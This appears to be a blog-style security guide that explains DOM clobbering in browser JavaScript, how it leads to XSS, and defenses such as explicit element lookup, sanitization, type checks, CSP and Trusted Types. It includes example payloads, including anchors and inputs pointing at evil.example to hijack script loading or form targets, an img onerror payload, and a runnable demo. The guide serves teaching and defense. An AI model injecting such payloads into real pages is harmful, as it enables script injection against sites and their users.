DOM clobbering is one of those bugs frontend teams accidentally create while thinking they are dealing with “just HTML”. Then it turns into script execution, broken security assumptions, or both.

The short version: browsers expose some elements with id or name values as properties on global objects like window and sometimes on forms. If your JavaScript trusts those properties, an attacker can inject markup that overwrites what your code thinks is a safe variable, config object, or URL. That often becomes XSS.

This guide is the practical version: what breaks, what payloads look like, and what to change.

What DOM clobbering actually is

Browsers have legacy behavior where named elements become addressable as properties.

Example:

<div id="config"></div>
<script>
  console.log(window.config); // HTMLDivElement
</script>

That is already weird. Now imagine your code expects window.config to be a JavaScript object:

<script>
  window.config = { apiBase: "/api/" };
</script>

If attacker-controlled HTML is injected before your code runs:

<a id="config" href="https://evil.example/x.js"></a>

then code that reads window.config may get an HTMLAnchorElement, not your object. If you later do something sloppy like this:

const url = window.config.src || window.config.href || "/app.js";
const s = document.createElement("script");
s.src = url;
document.head.appendChild(s);

you just handed script loading to attacker-controlled markup.

That’s DOM clobbering.

Why it turns into XSS

DOM clobbering by itself is “property confusion”. XSS happens when confused code sends attacker-controlled values into a dangerous sink:

  • innerHTML
  • outerHTML
  • insertAdjacentHTML
  • document.write
  • eval, setTimeout(string)
  • dynamic script creation
  • navigation to javascript: URLs in some contexts
  • unsafe URL assignment into iframes, scripts, or imports

A common chain looks like this:

  1. App injects untrusted HTML somewhere.
  2. Injected element clobbers a global or form property.
  3. App reads the clobbered property and treats it as trusted config.
  4. Value reaches a sink.
  5. XSS.

The classic vulnerable patterns

1. Trusting globals created from markup

<div id="redirectTo" data-url="/profile"></div>
<script>
  const next = window.redirectTo.dataset.url;
  location.href = next;
</script>

If an attacker can inject:

<a id="redirectTo" href="javascript:alert(1)"></a>

then the code may break or be rewritten into a more dangerous version later. This style is fragile by design.

Safer:

const redirectEl = document.getElementById("redirectTo");
const next = redirectEl?.dataset?.url ?? "/profile";
location.assign(next);

Even better: validate allowed destinations.

2. Script loader based on a clobberable object

<script>
  const loader = window.appConfig || {};
  const src = loader.scriptUrl || "/static/app.js";

  const s = document.createElement("script");
  s.src = src;
  document.head.appendChild(s);
</script>

Payload:

<a id="appConfig" name="scriptUrl" href="https://evil.example/payload.js"></a>

Depending on browser behavior and code shape, named property resolution can produce surprising objects or collections. If your code is loose about types, it’s exploitable.

Safer:

const appConfig = Object.freeze({
  scriptUrl: "/static/app.js"
});

const s = document.createElement("script");
s.src = appConfig.scriptUrl;
document.head.appendChild(s);

Don’t source security-sensitive config from ambient globals.

3. Form control clobbering

Forms expose child controls by name.

<form id="login">
  <input name="action" value="/login">
</form>

<script>
  const form = document.getElementById("login");
  fetch(form.action.value);
</script>

That code is already a smell. form.action is also a native property. Named controls can collide with expected properties and methods.

Attacker-controlled HTML inside the form can interfere:

<input name="action" value="https://evil.example/steal">

Safer:

const form = document.getElementById("login");
const actionInput = form.querySelector('input[name="actionUrl"]');
fetch(actionInput?.value ?? "/login");

Use names that don’t collide with DOM APIs, and query explicitly.

4. innerHTML plus later lookup by ID

This one shows up in widget code constantly:

container.innerHTML = userHtml;

const template = window.template;
output.innerHTML = template.innerHTML;

Payload:

<div id="template"><img src=x onerror=alert(1)></div>

If userHtml is attacker-controlled, the attacker can define template for you.

Safer:

container.textContent = userText;
const template = document.getElementById("template");
output.textContent = template?.textContent ?? "";

If you genuinely need HTML, sanitize it with a well-maintained sanitizer and still avoid global named lookups.

Copy-paste attack demo

Here’s a minimal example you can run locally:

<!doctype html>
<html>
<body>
  <div id="content"></div>

  <script>
    // Simulate attacker-controlled HTML
    content.innerHTML = '<a id="cfg" href="https://evil.example/payload.js">x</a>';

    // Vulnerable code
    const cfg = window.cfg || { href: "/safe.js" };
    const s = document.createElement("script");
    s.src = cfg.href;
    document.head.appendChild(s);
  </script>
</body>
</html>

Why this matters: the developer thinks cfg is a JS object fallback. The browser happily provides an element instead.

Reliable defenses

1. Never use window.foo to access DOM elements

Bad:

if (window.notice) {
  notice.remove();
}

Good:

const notice = document.getElementById("notice");
if (notice) {
  notice.remove();
}

This is the biggest easy win.

2. Avoid id and name collisions with built-ins

Don’t use names like:

  • action
  • submit
  • elements
  • style
  • attributes
  • constructor
  • location

Especially inside forms.

A boring prefix helps:

<input name="app_action_url">
<div id="app_template_main"></div>

3. Treat injected HTML as hostile

If untrusted content lands in the DOM, DOM clobbering becomes possible even when script execution is blocked.

Prefer:

el.textContent = userInput;

If HTML is required, sanitize before insertion:

import DOMPurify from "dompurify";

el.innerHTML = DOMPurify.sanitize(userHtml);

Sanitization reduces XSS risk, but I still wouldn’t write code that depends on named global element access.

4. Type-check anything security-sensitive

If a value is supposed to be a config object, verify it.

function isConfig(x) {
  return !!x &&
    typeof x === "object" &&
    !("nodeType" in x) &&
    typeof x.scriptUrl === "string";
}

const cfg = isConfig(window.__APP_CONFIG__) ?
  window.__APP_CONFIG__ :
  { scriptUrl: "/static/app.js" };

This blocks a lot of clobbering abuse because DOM nodes won’t pass validation.

5. Lock down script execution with CSP

CSP will not fix DOM clobbering itself, but it can stop the final XSS step, especially dynamic script loads and inline handlers.

A decent starting point:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  require-trusted-types-for 'script';

If you need implementation details and policy examples, csp-guide.com is a solid reference.

Also, test your headers from the outside. I usually run them through HeaderTest because it’s faster than manually eyeballing every response header in DevTools.

6. Use Trusted Types where possible

Trusted Types is great for killing a whole class of DOM XSS sinks.

Example:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default;

Then create a policy:

const policy = trustedTypes.createPolicy("default", {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userHtml);

This doesn’t magically remove DOM clobbering, but it narrows the blast radius by protecting dangerous sinks.

Red flags during code review

I stop and inspect harder when I see:

window.something
document.something
form.foo
element.innerHTML = userData
const cfg = window.cfg || {}
script.src = someVariable
setTimeout(userControlledString, 0)

And in templates:

<div id="config"></div>
<input name="submit">
<input name="action">

Those aren’t always vulnerabilities, but they are where DOM clobbering tends to hide.

A safer pattern for bootstrapping config

Instead of ambient globals, use a JSON script tag with explicit parsing:

<script id="app-config" type="application/json">
  {"scriptUrl":"/static/app.js","apiBase":"/api"}
</script>

<script>
  const raw = document.getElementById("app-config")?.textContent ?? "{}";
  const config = JSON.parse(raw);

  const s = document.createElement("script");
  s.src = config.scriptUrl;
  document.head.appendChild(s);
</script>

This is much harder to clobber than window.config, and it forces explicit access.

Practical rule set

If you want the shortest possible checklist:

  1. Don’t rely on named DOM globals.
  2. Don’t use form control names that collide with DOM properties.
  3. Don’t inject untrusted HTML unless you sanitize it.
  4. Don’t feed DOM-derived values into script URLs or HTML sinks without validation.
  5. Deploy CSP and, if possible, Trusted Types.

DOM clobbering is old browser behavior, but the bugs it creates are still modern. The dangerous part is not the browser quirk itself. The dangerous part is code that quietly trusts the DOM more than it should.